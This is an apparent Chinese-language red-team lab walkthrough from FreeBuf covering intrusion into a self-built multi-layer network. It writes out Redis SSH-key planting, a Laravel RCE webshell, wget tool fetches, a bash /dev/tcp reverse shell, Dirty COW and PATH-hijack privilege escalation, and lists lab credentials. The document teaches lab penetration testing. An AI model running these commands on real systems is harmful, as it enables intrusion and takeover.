freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队——多层内网环境渗透测试(三)
2023-11-02 00:10:07

wallhaven-3kgwpd

本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。

文中若有不当之处,还望各位大佬多多点评。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

环境配置

网络拓扑图

整个环境共五台机器,分别处于三层内网环境中。网络拓扑图如下,整个靶场设计模拟真实网络环境中的情况,分别划分了DMZ区,生产区和核心区,不同区域间通过网段划分进行隔离。

  • DMZ区IP段为192.168.52.1/24

DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。

  • 生产区IP段为192.168.52.1/24

第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络

  • w核心区IP段为192.168.93.1/24

第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器

image-20231031100808120

机器对应IP区域服务器作用
Ubuntu 64 位 (Web 1) ubuntu: web2021172.23.2.67 192.168.52.10DMZ区 边界突破机redis、Nginx反代理服务器
Ubuntu 64 位 (Web 2) ubuntu: ubuntu192.168.52.20 192.168.93.10生产区(二层网络)web服务器
win7(pc1) bunny:Bunny2021192.168.93.20 192.168.52.30生产区(二层网络)OA
win7(pc2) moretz:Moretz2021192.168.93.40核心区(三层网络)域成员
windows server 2012192.168.93.30核心区(三层网络)域控

由于网络环境问题,测试过程中部分ip可能会发生变化。

靶机信息

域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

涉及的知识点

端口扫描、端口服务识别、漏洞探测利用、Laravel Debug mode RCE(CVE-2021-3129)漏洞利用、Docker逃逸、通达OAv11.3漏洞利用、Linux环境变量提权、Redis未授权访问漏洞、Linux sudo权限提升(CVE-2021-3156)漏洞利用、MS14-068漏洞利用、路由转发与代理、多层隧道代理、内网信息收集、NTLM与SMB Relay攻击、Psexec远控、哈希传递(PTH)、黄金票据、白银票据

攻击过程

信息收集

我们现在开始对目标的攻击,我们首先对入口机web服务器进行渗透测试,寻找突破口,对172.23.2.67进行全端口扫描,扫描后发现存在四个端口

image-20231031135143557

80端口

image-20231031135207887

81端口开了Laravel

image-20231031135304999

接下来还剩下两个服务 22、6379。22端口爆破动静会很大,可以放到后面无计可施的时候再去尝试,先测试一下6379端口,因为这个一旦攻击成功即可获取root权限。Web攻击获取的有可能是低权限,而且也可能会遇到一些waf之类的防护等不确定因素。因此我们先尝试redis未授权漏洞。

Redis 未授权访问

redis-cli -h 192.168.52.10

测试成功,发现存在redis未授权漏洞

image-20231031135453553

现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。

首先在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

image-20231031135747183

ssh-keygen -t rsa

第一行输入id_rsa,密码设置为空,直接回车

image-20231031135756815

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

image-20231031135807343

通过redis将key写入到服务器中

cat key.txt | redis-cli -h 192.168.52.10 -x set hack

image-20231031135815321

连接目标主机的redis

redis-cli -h 192.168.52.10

image-20231031135827834

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh

//设置redis的备份路径为/root/.ssh

config set dbfilename authorized_keys

//设置上传公钥的备份文件名为autorized_keys

将数据保存

save

quit

image-20231031135837329

ssh -i id_rsa root@192.168.52.10

image-20231031140044723

写入成功即可直接ssh登录到服务器上。

内网信息收集

获取到一台机器的控制权限后,我们查看当前网络情况,第一个是我们外网的入口机器地址,第二个是我们内网地址。

image-20231031141110240

现在我们已经拿到了root权限,并且机器是可以出网的。

image-20231031141119576

netstat -pantule

可见貌似机器上只有22、80、81、6379端口对我们来说有价值一些,我们尝试进一步信息收集,去找到一些有用的信息。

image-20231031141128632

发现机器上有一个www站点,但是只有一个静态网址,没什么可利用的价值。

image-20231031141137700

现在寻找一下81端口的绝对路径文件

sudo netstat -tuln | grep ':81'

ps -p 788 -o cmd

这里貌似是执行了这行命令,没有找到绝对配置文件,我们可以应该进一步去查看nginx的配置文件。

image-20231031141147290

nginx的配置文件一般都在 /etc/nginx/nginx.conf或者/etc/nginx/conf/nginx.conf 位置

image-20231031141153212

http://192.168.52.20:8000


由此可见,他的80端口和81端口的网站都是来自于服务器,那么我们拿到的这台服务器应该是角色可以断定,是Nginx反代理服务器,那么我们的下一步的攻击思路就是,攻击内网192.168.52.20的web服务。

使用命令查看ARP缓存表

image-20231031141202202

总结:

1、服务器角色:Nginx反代理服务器

2、内网地址:192.168.52.10

3、入口机 可出网

小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx反代理服务器上获取的内网地址,来扫描这个C段

内网隧道穿透---一层

由于靶场是模拟实战环境,我们搭建一个frp隧道,因为这里不管是出网还是不出网,其实我们都是要搭建隧道的,判断出不出网,只是用来判断,我们要利用什么样的协议去进行搭建隧道而已。上传的利用文件均放在tmp目录下。

frps端

image-20231031141508992

image-20231031141512284

frpc端

上传客户端到kali上的tmp中,用python开启一个http服务

image-20231031141523628

python -m http.server

image-20231031141529549

wget http://192.168.52.129:8000/frpc.ini.

wget http://192.168.52.129:8000/frpc.

image-20231031141553055

运行frpc时报错,应该是frp版本有问题了,尝试更换frp版本

./frpc -c a.txt

image-20231031141609504

再次运行

./frpc -c a.txt

image-20231031141616343

代理隧道已经搭建成功,利用kali的proxychains4进行代理配置

image-20231031141623631

隧道已经搭建成功。此时我们使用工具进行内网探测

image-20231031141631265

Laravel-CVE-2021-3129漏洞利用

访问链接可见Laravel版本号,根据fscan扫描结果得知,该版本存在漏洞,那么我们尝试使用对应的exp进行深入利用。

image-20231031141722817

工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

image-20231031141731151

webshell地址:http://192.168.52.20:8000/fuckyou.php

密码:pass

image-20231031141740551

这里我们连接shell,攻击成功。执行ifconfig之后发现没有回显,初次判断是权限太小。

继续信息收集

image-20231031141747345

这里很多docker字样,由此判断我们在docker容器中

Hostname

cat /proc/1/cgroup

image-20231031141758957

目前的情况是得知目前获取的机器权限是docker,但是我们的权限过于低级,什么事情都干不了,于是乎我们尝试提权。在提权之前,我们先对系统信息收集一下

深度信息收集

在tmp目录上传信息收集脚本,对机器进行信息收集

image-20231031141825727

反弹shell

反弹到入口机的shell

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1236<&1'

image-20231031141848156

上传信息收集脚本,赋予权限并且运行。

chmod +x linpeas.sh

/tmp/linpeas.sh

image-20231031141858276

image-20231031141901236

image-20231031141904678

发现可能存在的提权漏洞,我们使用exp尝试进行提权。

pkexec 本地提权内核提权-CVE-2021-4034

尝试使用2021年的提权神器,内核提权-CVE-2021-4034-pkexec 进行本地提权

image-20231031142206798

可惜尝试失败了,我们尝试其他的提权方式。

image-20231031142213441

脏牛提权

上传脏牛脚本,尝试用脏牛提权

image-20231031142223460

gcc -pthread dirty.c -o dirty -lcrypt

运行脏牛提权

./dirty

image-20231031142230838

这个提权也是失败的

现在内核提权无法使用,那就只能用信息收集脚本来找具有SUID或4000权限的文件了

环境变量提权

回头看信息收集的文件的时候发现其中:

image-20231031142250924

这里我们运行一下这个shell文件,发现好像是执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

image-20231031142301053


cd /tmp;echo "/bin/bash" > ps

chmod 777 ps;echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

# 此时我们获得了root权限,可以执行命令了

# 内网穿透 # 多层网络
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录